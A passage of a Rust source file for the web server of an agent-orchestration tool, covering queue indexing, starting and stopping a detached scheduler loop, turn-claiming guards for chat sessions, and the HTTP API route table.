940    auto_failed_tag: Arc<Mutex<Option<String>>>,
941    upgrade_runner: UpgradeRunner,
942    /// Runs this process is resuming right now.
943    ///
944    /// Separate from `talk_turns` because a run and a talk are different
945    /// things to hold, and a resume is far more expensive to start twice: it
946    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
947    /// guards two taps and two phones, which is this process's own
948    /// concurrency.
949    resuming: Arc<Mutex<HashSet<String>>>,
950    /// The last scan of `[repos] roots`, and when it happened. Shared across
951    /// requests so polling `GET /api/repos` repeatedly does not repeat the
952    /// filesystem walk every time - see [`repos::Cache`].
953    repos_cache: repos::Cache,
954    /// The machine-config file the settings screen reads and writes: always
955    /// [`Config::machine_layer`], never anything a request names. A field so a
956    /// test can point it at its own temp directory instead of the operator's.
957    machine_config: Option<PathBuf>,
958    /// Merge mode override handed to the loop this process starts.
959    merge: Option<String>,
960    /// Local request revision and errors; execution belongs to detached workers.
961    looping: Arc<Mutex<LoopState>>,
962    /// Isolated route-test scheduler; never compiled into production.
963    #[cfg(test)]
964    launch: Launch,
965    /// A test-only stop point inside `talk_say`'s busy branch. See
966    /// [`BusyQueueGate`].
967    #[cfg(test)]
968    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
969    pub(crate) monitor: Arc<SharedMonitor>,
970}
971
972type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
973
974/// A one-shot stop point the busy branch's queued-draft write can be made to
975/// pause at, right before [`talk::queue`] runs.
976///
977/// Exists because a test cannot otherwise pin *when*, relative to the turn
978/// slot being freed, that write happens: `blocking` runs it on
979/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
980/// already finished, so counting polls on the handler future to park it at a
981/// particular `.await` is a guess about scheduling, not a fact about it - see
982/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
983/// used to do exactly that and paid for it with an occasional "async fn
984/// resumed after completion" panic under load.
985///
986/// `reached` fires the instant the write is about to run, so a test waits for
987/// a real event instead of a poll count. `release` then blocks the write
988/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
989/// rather than an async channel because this all happens inside the
990/// `spawn_blocking` closure the write already runs on, off any runtime
991/// worker, so blocking here costs nothing the write was not already going to
992/// cost.
993#[cfg(test)]
994struct BusyQueueGate {
995    reached: tokio::sync::oneshot::Sender<()>,
996    release: std::sync::mpsc::Receiver<()>,
997}
998
999#[cfg(test)]
1000impl std::fmt::Debug for BusyQueueGate {
1001    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
1002        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
1003    }
1004}
1005
1006impl Ui {
1007    /// A server over explicit paths.
1008    pub fn new(
1009        queue: Queue,
1010        questions: Questions,
1011        talks: Talks,
1012        runs: PathBuf,
1013        home: PathBuf,
1014        repo: PathBuf,
1015    ) -> Self {
1016        Self {
1017            queue,
1018            questions,
1019            notices: Notices::at(home.join("notifications")),
1020            talks,
1021            runs,
1022            references: Arc::default(),
1023            home,
1024            repo,
1025            // The default location, overridden by `with_worktrees_root` - a
1026            // builder step rather than a ninth parameter, for the reason
1027            // `with_merge` gives.
1028            worktrees_root: run::default_worktree_root(),
1029            talk_turns: Arc::default(),
1030            admissions: Arc::default(),
1031            upgrade_gate: Arc::default(),
1032            upgrade_spawned: Arc::default(),
1033            upgrade_request_error: Arc::default(),
1034            auto_failed_tag: Arc::default(),
1035            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
1036            resuming: Arc::default(),
1037            repos_cache: repos::Cache::new(),
1038            machine_config: Config::machine_layer(),
1039            merge: None,
1040            looping: Arc::default(),
1041            #[cfg(test)]
1042            launch: launch_daemon,
1043            #[cfg(test)]
1044            busy_queue_gate: Arc::default(),
1045            monitor: Arc::new(SharedMonitor::new()),
1046        }
1047    }
1048
1049    /// Refresh metadata on every lookup, including external-process writes. Only
1050    /// changed records are parsed. Never publish a partial scan as an empty set.
1051    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
1052        let mut index = self
1053            .monitor
1054            .queue_index
1055            .lock()
1056            .unwrap_or_else(PoisonError::into_inner);
1057        let entries = match std::fs::read_dir(self.queue.root()) {
1058            Ok(entries) => entries,
1059            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
1060                index.records.clear();
1061                return Ok(Vec::new());
1062            }
1063            Err(e) => return Err(anyhow::Error::from(e).into()),
1064        };
1065        let mut seen = HashSet::new();
1066        for entry in entries {
1067            let path = entry.map_err(anyhow::Error::from)?.path();
1068            if path.extension().is_none_or(|ext| ext != "json") {
1069                continue;
1070            }
1071            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
1072                continue;
1073            };
1074            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
1075            seen.insert(id.to_owned());
1076            // On platforms without inode/ctime, re-read rather than trust a
1077            // same-size replacement with a preserved modification timestamp.
1078            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
1079                let Ok(task) = self.queue.get(id) else {
1080                    // Isolate an unreadable record, as Queue::list does. Keep
1081                    // its last known relationship so a lookup of THAT task
1082                    // still fails on the authoritative read below. Never let
1083                    // unrelated corruption disable every run and conversation.
1084                    // Counts must not present its previous status as current.
1085                    if let Some((_, record)) = index.records.get_mut(id) {
1086                        Arc::make_mut(record).status = None;
1087                    }
1088                    continue;
1089                };
1090                #[cfg(test)]
1091                {
1092                    index.reparsed += 1;
1093                }
1094                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
1095                    return Err(ApiError::conflict("Queue changed during read; retry"));
1096                }
1097                index
1098                    .records
1099                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
1100            }
1101        }
1102        index.records.retain(|id, _| seen.contains(id));
1103        let mut tasks: Vec<_> = index
1104            .records
1105            .values()
1106            .map(|(_, task)| task.clone())
1107            .collect();
1108        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
1109        Ok(tasks)
1110    }
1111
1112    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
1113        let Some(record) = self
1114            .indexed_tasks()?
1115            .into_iter()
1116            .find(|task| task.runs.iter().any(|id| id == run_id))
1117        else {
1118            return Ok(None);
1119        };
1120        let task = self.queue.get(&record.id)?;
1121        if !task.runs.iter().any(|id| id == run_id) {
1122            return Err(ApiError::conflict("Task relationship changed; retry"));
1123        }
1124        Ok(Some(task))
1125    }
1126
1127    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1128        self.indexed_tasks()?
1129            .into_iter()
1130            .filter(|task| {
1131                task.chat.as_deref() == Some(talk_id)
1132                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1133            })
1134            .map(|record| {
1135                let task = self.queue.get(&record.id)?;
1136                if task.chat.as_deref() != Some(talk_id)
1137                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1138                {
1139                    return Err(ApiError::conflict("Task relationship changed; retry"));
1140                }
1141                Ok(task)
1142            })
1143            .collect()
1144    }
1145
1146    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1147    /// `<home>/talks`, `<home>/runs`.
1148    pub fn open(repo: PathBuf) -> Self {
1149        Self::new(
1150            Queue::open(),
1151            Questions::open(),
1152            Talks::open(),
1153            run::runs_root(),
1154            run::home(),
1155            repo,
1156        )
1157    }
1158
1159    /// The merge mode the loop should use, as the command line gave it.
1160    ///
1161    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1162    /// the override is a property of how this process was invoked and not of
1163    /// where its state lives - which is all the tests that build a `Ui` by
1164    /// hand are saying.
1165    #[must_use]
1166    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1167        self.merge = merge;
1168        self
1169    }
1170
1171    /// The machine-config file the settings screen writes, when it is not
1172    /// [`Config::machine_layer`] (tests).
1173    #[cfg(test)]
1174    #[must_use]
1175    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1176        self.machine_config = path;
1177        self
1178    }
1179
1180    /// Where the runs' worktrees live, when it is not the default.
1181    ///
1182    /// The health view sizes this directory, so a test that leaves it at the
1183    /// default would be measuring the operator's own machine.
1184    #[must_use]
1185    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1186        self.worktrees_root = root;
1187        self
1188    }
1189
1190    /// Point the loop at something other than [`launch_daemon`].
1191    ///
1192    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1193    /// this crate may start the real loop.
1194    #[cfg(test)]
1195    #[must_use]
1196    fn with_launch(mut self, launch: Launch) -> Self {
1197        self.launch = launch;
1198        self
1199    }
1200
1201    /// Install a [`BusyQueueGate`] for the next pass through the busy
1202    /// branch's queued-draft write, replacing any earlier one.
1203    ///
1204    /// A setter on `&self` rather than a `with_*` builder consumed once,
1205    /// because a test that drives the busy branch more than once (as
1206    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1207    /// to build confidence the interleaving is handled deterministically and
1208    /// not just on a lucky run) needs a fresh channel pair each time, on the
1209    /// one `Ui` it already built its temp directories around.
1210    #[cfg(test)]
1211    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1212        *self
1213            .busy_queue_gate
1214            .lock()
1215            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1216    }
1217
1218    /// Prevent a restart from ending an already accepted send between its
1219    /// durable transcript write and detached worker reservation.
1220    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1221        let guard = Arc::clone(&self.admissions)
1222            .try_read_owned()
1223            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1224        if *guard {
1225            return Err(ApiError::conflict(
1226                "web restart in progress; retry this message",
1227            ));
1228        }
1229        Ok(guard)
1230    }
1231
1232    /// Start a scheduler that outlives this web process.
1233    async fn start_detached_loop(&self) -> ApiResult<()> {
1234        if self
1235            .upgrade_spawned
1236            .load(std::sync::atomic::Ordering::SeqCst)
1237        {
1238            return Err(ApiError::conflict("an upgrade is in progress"));
1239        }
1240        let reading = daemon::read_status(&self.home);
1241        if let Some(other) = Foreign::of(reading.as_ref()) {
1242            return Err(ApiError::conflict(format!(
1243                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1244                other.who()
1245            )));
1246        }
1247        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1248        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1249        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1250            || reading.is_some_and(|reading| {
1251                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1252            });
1253        if control.is_some() && scheduler_running {
1254            return Err(ApiError::conflict(
1255                "the scheduler is still stopping; retry Start after it has stopped",
1256            ));
1257        }
1258        if !jobs.iter().any(|job| job.kind == "scheduler") {
1259            let available =
1260                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1261            if available.is_none() {
1262                return Err(ApiError::conflict(
1263                    "the scheduler is still running or stopping; retry after its transition completes",
1264                ));
1265            }
1266            drop(available);
1267        }
1268        let opts = daemon::Opts {
1269            repo: self.repo.clone(),
1270            merge: self.merge.clone(),
1271            worktrees_root: Some(self.worktrees_root.clone()),
1272            ..daemon::Opts::default()
1273        };
1274        daemon::spawn_detached(&self.home, &opts)
1275            .await
1276            .map_err(ApiError::from)?;
1277        let mut state = self.lock_loop();
1278        state.last_error = None;
1279        state.rev += 1;
1280        Ok(())
1281    }
1282
1283    /// Start the loop in this process, or say who already has one.
1284    ///
1285    /// `foreign` is passed in rather than read here so that one request makes
1286    /// one judgement about who owns the loop: reading the status file again
1287    /// inside this function could refuse a start for a daemon the same
1288    /// response then reports as gone.
1289    #[cfg(test)]
1290    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1291        if let Some(other) = foreign {
1292            return Err(ApiError::conflict(format!(
1293                "{} is already running the loop, so this one will not start a \
1294                 second: two loops on one queue race for the same claims and \
1295                 burn the agent quota twice over. Stop it where it was \
1296                 started.",
1297                other.who()
1298            )));
1299        }
1300        let mut state = self.lock_loop();
1301        if self
1302            .upgrade_spawned
1303            .load(std::sync::atomic::Ordering::SeqCst)
1304        {
1305            return Err(ApiError::conflict("an upgrade is in progress"));
1306        }
1307        if state.live.as_ref().is_some_and(Live::alive) {
1308            return Err(ApiError::conflict(format!(
1309                "this magi web process (pid {}) is already running the loop",
1310                std::process::id()
1311            )));
1312        }
1313
1314        let stop = daemon::Stop::new();
1315        // The CLI's own defaults for everything the UI has no opinion about:
1316        // one poll interval and one retry budget, so a loop started from a
1317        // phone behaves exactly like the `magi serve` it replaces.
1318        let opts = daemon::Opts {
1319            repo: self.repo.clone(),
1320            merge: self.merge.clone(),
1321            // Whatever this `Ui` already reports worktree sizes and folds
1322            // against (see `with_worktrees_root`) is what the loop it starts
1323            // must reclaim orphaned worktrees under too - two different
1324            // opinions about where the worktree bay is would leave the
1325            // janitor pass reclaiming a directory nothing else on this
1326            // process is even looking at.
1327            worktrees_root: Some(self.worktrees_root.clone()),
1328            ..daemon::Opts::default()
1329        };
1330        let launch = self.launch;
1331        let looping = Arc::clone(&self.looping);
1332        let handle = tokio::spawn({
1333            let opts = opts.clone();
1334            let stop = stop.clone();
1335            async move {
1336                let failure = match launch(opts, stop).await {
1337                    Ok(()) => None,
1338                    Err(e) => Some(format!("{e:#}")),
1339                };
1340                match &failure {
1341                    Some(why) => tracing::error!("the loop stopped: {why}"),
1342                    None => tracing::info!("the loop stopped"),
1343                }
1344                // Recorded by the task itself rather than reaped by whichever
1345                // request happens next, so `loop_rev` moves the moment the
1346                // loop ends and a phone with the change stream open learns
1347                // that it did. Clearing `live` drops this task's own handle,
1348                // which only detaches it, and is the last thing it does.
1349                let mut state = lock_or_recover(&looping);
1350                state.live = None;
1351                state.last_error = failure;
1352                state.rev += 1;
1353            }
1354        });
1355        tracing::info!(
1356            "the loop is now running in this process: repo {}, merge {}",
1357            opts.repo.display(),
1358            opts.merge.as_deref().unwrap_or("as the config says")
1359        );
1360        state.live = Some(Live { stop, handle, opts });
1361        // A fresh start is not the place to keep showing why the last one
1362        // died; the operator has read it and pressed the button anyway.
1363        state.last_error = None;
1364        state.rev += 1;
1365        Ok(())
1366    }
1367
1368    /// Ask the loop to stop, without waiting for it to get there.
1369    ///
1370    /// Idempotent: a second tap on stop is not an error, because the first one
1371    /// leaves the loop running for as long as the run in flight takes and the
1372    /// operator has no way to tell a slow stop from a lost one.
1373    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1374        if let Some(other) = foreign {
1375            return Err(ApiError::conflict(format!(
1376                "the loop belongs to {}, and this process cannot stop it - \
1377                 stop it where it was started. A button that silently did \
1378                 nothing would be worse than this refusal.",
1379                other.who()
1380            )));
1381        }
1382        #[cfg(not(test))]
1383        {
1384            daemon::request_control(
1385                &self.home,
1386                if park {
1387                    crate::worker::Control::Park
1388                } else {
1389                    crate::worker::Control::Stop
1390                },
1391            )
1392            .map_err(ApiError::from)?;
1393            self.lock_loop().rev += 1;
1394            Ok(())
1395        }
1396        #[cfg(test)]
1397        {
1398            let mut state = self.lock_loop();
1399            let Some(live) = state.live.as_ref() else {
1400                return Ok(());
1401            };
1402            // A park upgrades a stop that has already been asked for: the
1403            // operator who tapped "stop" and then realised the run has an hour
1404            // left must not have to restart the loop to change their mind.
1405            if live.stop.stopped() && (!park || live.stop.parking()) {
1406                return Ok(());
1407            }
1408            if park {
1409                live.stop.park(crate::run::ParkCause::Operator);
1410                tracing::info!(
1411                    "the loop was asked to park; the run stops at its next node boundary"
1412                );
1413            } else {
1414                live.stop.stop();
1415                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1416            }
1417            state.rev += 1;
1418            Ok(())
1419        }
1420    }
1421
1422    /// The loop as both `/api/loop` and `/api/health` report it.
1423    ///
1424    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1425    /// health answers with this view *and* the daemon object beside it: one
1426    /// read per response is what stops a single answer naming a foreign owner
1427    /// in one field and calling the loop free in the other.
1428    #[cfg(not(test))]
1429    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1430        let jobs = crate::worker::active(&self.home).map_err(|error| {
1431            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1432        })?;
1433        Ok(self.runtime_loop_view(reading, &jobs))
1434    }
1435
1436    #[cfg(test)]
1437    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1438        let state = self.lock_loop();
1439        // A loop that panicked never recorded its own end, so the handle -
1440        // not the presence of the record - is what "running" means.
1441        let live = state.live.as_ref().filter(|live| live.alive());
1442        LoopView {
1443            running: live.is_some(),
1444            stopping: live.is_some_and(|live| live.stop.finishing()),
1445            parking: live.is_some_and(|live| live.stop.parking()),
1446            owned: live.is_some(),
1447            repo: live
1448                .map_or(&self.repo, |live| &live.opts.repo)
1449                .display()
1450                .to_string(),
1451            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1452            last_error: state.last_error.clone(),
1453            daemon: DaemonView::of(reading),
1454        }
1455    }
1456
1457    /// Reuse one active-job snapshot for both ownership and public health.
1458    fn runtime_loop_view(
1459        &self,
1460        reading: Option<daemon::Reading>,
1461        jobs: &[crate::worker::Job],
1462    ) -> LoopView {
1463        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1464        let reporting = reading
1465            .as_ref()
1466            .is_some_and(|r| r.running(Timestamp::now()));
1467        let managed = scheduler.is_some()
1468            || (reporting
1469                && reading
1470                    .as_ref()
1471                    .is_some_and(|r| r.worker_protocol == Some(1)));
1472        let control = crate::worker::control(&self.home, "scheduler")
1473            .ok()
1474            .flatten();
1475        // Foreground serve also persists its options, so ownership never
1476        // causes us to substitute the web process's repository for its own.
1477        let persisted = if managed && scheduler.is_none() {
1478            std::fs::read(self.home.join("scheduler-options.json"))
1479                .ok()
1480                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1481        } else {
1482            None
1483        };
1484        let repo = scheduler
1485            .and_then(|job| job.payload.get("repo"))
1486            .and_then(serde_json::Value::as_str)
1487            .map(str::to_owned)
1488            .or_else(|| {
1489                persisted
1490                    .as_ref()
1491                    .map(|opts| opts.repo.display().to_string())
1492            })
1493            .unwrap_or_else(|| self.repo.display().to_string());
1494        let merge = match scheduler {
1495            Some(job) => job
1496                .payload
1497                .get("merge")
1498                .and_then(serde_json::Value::as_str)
1499                .map(str::to_owned),
1500            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1501        };
1502        LoopView {
1503            running: managed || reporting,
1504            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1505            parking: matches!(control, Some(crate::worker::Control::Park))
1506                && jobs.iter().any(|job| job.kind == "task"),
1507            owned: managed,
1508            repo,
1509            merge,
1510            last_error: self.lock_loop().last_error.clone(),
1511            daemon: DaemonView::of(reading),
1512        }
1513    }
1514
1515    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1516    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1517        lock_or_recover(&self.looping)
1518    }
1519
1520    /// In-flight admission, detached startup, or a cross-process turn lease.
1521    fn is_thinking(&self, id: &str) -> bool {
1522        self.talk_turns
1523            .lock()
1524            .is_ok_and(|turns| turns.live.contains(id))
1525            // Another process (the CLI) can hold the turn through the
1526            // on-disk lease.
1527            || self.talks.turn_held(id)
1528            || crate::chat_worker::turn_worker_active(&self.talks, id)
1529    }
1530
1531    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1532    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1533    fn is_thinking_observed(&self, id: &str) -> bool {
1534        self.talk_turns.try_lock().map_or_else(
1535            // Admission may itself be waiting on the worker store. Display a
1536            // conservative busy state rather than waiting behind that writer.
1537            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1538            |turns| turns.live.contains(id),
1539        )
1540            // Another process (the CLI) can hold the turn through the
1541            // on-disk lease.
1542            || self.talks.turn_held(id)
1543            || crate::consult::turn_worker_observed(&self.talks, id)
1544    }
1545
1546    /// Claim the right to run one turn in a talk, or report that it is busy.
1547    ///
1548    /// A talk is strictly turn-based: the agent is resumed with the
1549    /// conversation it already has, so two turns running at once would resume
1550    /// the same session twice and append their answers in whatever order the
1551    /// two CLIs finished in. The operator would come back to a transcript
1552    /// with two half-turns interleaved, which is unreadable and, worse,
1553    /// unfixable - there is no undo for a persisted turn.
1554    ///
1555    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1556    /// starting a second CLI invocation for the same session.
1557    ///
1558    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1559    /// taken to test-and-insert and released before the agent is spawned. The
1560    /// returned guard removes the id on drop, which is what makes a panicking
1561    /// handler or a phone that walks out of range leave the talk usable - axum
1562    /// drops the handler future when the client disconnects, and without the
1563    /// guard that talk would be wedged until the server restarted.
1564    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1565        self.claim_talk_turn(id, false)
1566    }
1567
1568    /// Claim a turn after durably queueing a draft, or notify its current
1569    /// owner that a drainer must recheck before it releases the slot.
1570    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1571        self.claim_talk_turn(id, true)
1572    }
1573
1574    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1575        let mut live = self
1576            .talk_turns
1577            .lock()
1578            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1579        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1580            if queued {
1581                *live.queued.entry(id.to_owned()).or_default() += 1;
1582            }
1583            return Ok(None);
1584        }
1585        let inserted = live.live.insert(id.to_owned());
1586        // The on-disk lease is the cross-process half of the gate. Taken
1587        // second, and undone if lost, so `live` never claims a turn the lease
1588        // refused.
1589        let lease = if inserted {
1590            match self.talks.claim_turn(id) {
1591                Ok(Some(lease)) => Some(lease),
1592                Ok(None) => {
1593                    live.live.remove(id);
1594                    None
1595                }
1596                Err(e) => {
1597                    live.live.remove(id);
1598                    return Err(ApiError::from(e));
1599                }
1600            }
1601        } else {
1602            None
1603        };
1604        if lease.is_none() {
1605            if queued {
1606                // A queued write has landed before this busy check.
1607                // `drain_loop` uses this generation to recheck after its
1608                // off-thread disk read, so it cannot release a turn between
1609                // this check and the write.
1610                *live.queued.entry(id.to_owned()).or_default() += 1;
1611            }
1612            return Ok(None);
1613        }
1614        Ok(Some(TalkTurnGuard {
1615            talk: id.to_owned(),
1616            turns: Arc::clone(&self.talk_turns),
1617            released: false,
1618            lease,
1619        }))
1620    }
1621
1622    /// Decide whether a free talk may start a new immediate turn while its
1623    /// claim lock is held. A persisted draft without an owner is recovery
1624    /// state, not a busy turn: two simultaneous `/say` requests must both
1625    /// leave it untouched rather than one of them appending to it.
1626    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1627        let mut live = self
1628            .talk_turns
1629            .lock()
1630            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1631        // A detached worker owns its turn across web process replacement.
1632        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1633            return Ok(TalkTurnStart::Busy);
1634        }
1635        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1636            return Ok(TalkTurnStart::Foreign);
1637        };
1638        // A refused `Pending` below drops the lease again.
1639        let talk = self.talks.get(id).map_err(ApiError::from)?;
1640        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1641            return Ok(TalkTurnStart::Pending);
1642        }
1643        live.live.insert(id.to_owned());
1644        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1645            talk: id.to_owned(),
1646            turns: Arc::clone(&self.talk_turns),
1647            released: false,
1648            lease: Some(lease),
1649        }))
1650    }
1651
1652    fn queued_generation(&self, id: &str) -> u64 {
1653        let live = self
1654            .talk_turns
1655            .lock()
1656            .unwrap_or_else(PoisonError::into_inner);
1657        live.queued.get(id).copied().unwrap_or(0)
1658    }
1659
1660    /// Claim a run for a resume, on the same reasoning as
1661    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1662    /// disconnected phone does not wedge the run until the server restarts.
1663    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1664        let mut live = self
1665            .resuming
1666            .lock()
1667            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1668        if self
1669            .upgrade_spawned
1670            .load(std::sync::atomic::Ordering::SeqCst)
1671        {
1672            return Err(ApiError::conflict("an upgrade is in progress"));
1673        }
1674        if !live.insert(id.to_owned()) {
1675            return Err(ApiError::conflict(format!(
1676                "run {id} is already being resumed"
1677            )));
1678        }
1679        Ok(ResumeGuard {
1680            run: id.to_owned(),
1681            resuming: Arc::clone(&self.resuming),
1682        })
1683    }
1684
1685    /// The router, with this state baked in.
1686    ///
1687    /// The three front-end files get one explicit route each rather than a
1688    /// path parameter, so there is no traversal surface to get wrong: the set
1689    /// of servable paths is the set written here. The asset route below is the
1690    /// one exception and the only place in this server where a client names a
1691    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1692    pub fn router(self) -> Router {
1693        Arc::new(self).shared_router()
1694    }
1695
1696    fn shared_router(self: Arc<Self>) -> Router {
1697        Router::new()
1698            .route("/", get(index))
1699            .route("/app.css", get(app_css))
1700            .route("/app.js", get(app_js))
1701            .route("/api/health", get(health))
1702            .route("/api/references", post(id_links::resolve_text))
1703            .route("/api/loop", get(loop_get).post(loop_post))
1704            .route("/api/upgrade", post(upgrade_post))
1705            .route("/api/runs", get(runs_list))
1706            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1707            .route("/api/runs/{id}/progress", get(run_progress))
1708            .route("/api/runs/{id}/core", get(run_core))
1709            .route("/api/runs/{id}/report", get(run_report))
1710            .route("/api/runs/{id}/report.json", get(run_report_json))
1711            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1712            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1713            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1714            .route("/api/runs/{id}/fold", post(run_fold))
1715            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1716            .route("/api/runs/{id}/resume", post(run_resume))
1717            .route("/api/queue", get(queue_list))
1718            .route("/api/queue/page", get(queue_page))
1719            .route("/api/dependencies", get(dependencies::dependencies_get))
1720            .route("/api/search", get(search_get))
1721            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1722            .route("/api/queue/{id}/core", get(task_core))
1723            .route("/api/stats", get(stats_get))
1724            .route("/api/stats/queue", get(stats_queue))
1725            .route("/api/repos", get(repos_list))
1726            .route("/api/settings", get(settings_get))
1727            .route("/api/settings/roles", put(settings_put_roles))
1728            .route("/api/queue/{id}/hold", post(queue_hold))
1729            .route("/api/queue/{id}/reassign", post(queue_reassign))
1730            .route("/api/queue/{id}/release", post(queue_release))
1731            .route("/api/queue/{id}/priority", post(queue_priority))
1732            .route("/api/queue/{id}/urgent", post(queue_urgent))
1733            .route("/api/queue/{id}/immediate", post(queue_immediate))
1734            .route("/api/queue/{id}/implementers", post(queue_implementers))
1735            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1736            .route("/api/queue/{id}/edit", post(queue_edit))
1737            .route("/api/queue/{id}/done", post(queue_done))
1738            .route("/api/queue/{id}/reopen", post(queue_reopen))
1739            .route("/api/decisions", get(decisions_list))
1740            .route("/api/decisions/{id}", get(decision_get))
1741            .route("/api/questions", get(questions_list))
1742            .route("/api/questions/core", get(questions_core))
1743            .route("/api/questions/origins", get(question_origins))
1744            .route("/api/questions/{id}/answer", post(question_answer))
1745            .route("/api/questions/{id}/say", post(question_say))
1746            .route("/api/questions/{id}/consult", post(question_consult))
1747            .route("/api/questions/{id}/panel", get(question_panel))
1748            // The same asset, reachable from inside the panel by its bare
1749            // filename. A document served at `.../panel` resolves `shot.png`
1750            // to `.../shot.png`, which is not the asset route, so a panel
1751            // written the way its author was told to write it showed broken
1752            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1753            // it - deliberately - so the fix is that the panel's own URL ends
1754            // in a filename and its siblings are the assets.
1755            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1756            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1757            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1758            .route("/api/notifications", get(notifications_list))
1759            .route("/api/notifications/read-all", post(notifications_read_all))
1760            .route("/api/notifications/{id}/read", post(notification_read))
1761            .route(
1762                "/api/notifications/{id}/dismiss",
1763                post(notification_dismiss),
1764            )
1765            .route("/api/talks", get(talks_list).post(talk_post))
1766            .route("/api/talks/page", get(talks_page))
1767            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1768            .route("/api/talks/{id}/core", get(talk_core))
1769            .route("/api/talks/{id}/sections", get(talk_sections))
1770            .route("/api/talks/{id}/say", post(talk_say))
1771            .route("/api/talks/{id}/live", get(talk_live))
1772            .route("/api/talks/{id}/stop", post(talk_stop))
1773            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1774            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1775            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1776            .route("/api/talks/{id}/agent", post(talk_agent))
1777            .route("/api/talks/{id}/persona", post(talk_persona))
1778            .route("/api/talks/{id}/implementers", post(talk_implementers))
1779            .route("/api/talks/{id}/close", post(talk_close))
1780            .route("/api/talks/{id}/reopen", post(talk_reopen))
1781            // `DefaultBodyLimit` is raised only on this one route - every
1782            // other route on this server answers in a few kilobytes, and
1783            // widening the crate-wide default for all of them just because
